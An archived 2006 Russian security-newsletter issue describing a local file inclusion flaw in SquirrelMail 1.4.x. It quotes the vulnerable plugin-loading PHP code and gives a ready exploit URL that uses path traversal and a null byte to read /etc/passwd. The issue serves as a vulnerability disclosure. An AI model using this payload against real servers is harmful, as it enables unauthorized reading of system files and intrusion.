Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Июнь 2006   →
 1
 2
 3
 4
 5
 6
 7
 8
08.06.2006
07:05:38
13:05:05
 9
09.06.2006
07:05:21
13:05:14
10
11
12
13
14
15
16
17
18
18.06.2006
07:05:13
10:05:28
19
20
21
22
23
24
25
26
27
28
29
30
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в squirrelmail.


Компьютер для продвинутых пользователей
Содержание:
squirrelmail
ПО: squirrelmail
Версия: 1.4.х

Уязвимость:
Ошибка содердиться в functions/plugin.php. 
if (isset($plugins) && is_array($plugins)) {

    foreach ($plugins as $name) {

        use_plugin($name);

    }

....

function use_plugin ($name) {

    if (file_exists(SM_PATH . "plugins/$name/setup.php")) {

        include_once(SM_PATH . "plugins/$name/setup.php");

        $function = "squirrelmail_plugin_init_$name";

        if (function_exists($function)) {

            $function();

        }

    }

}

.....
Если register_globals в положении on мы можем контролировать переменную $name.
В порядке избегания ошибок необходимо установить SM_PATH. Для использование нужно так же проконтролировать, что бы magic_quotes_gpc needs была установлена в off.
Использование:
http://[host]/[squirrelmail dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00
squirrelmail
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
В избранное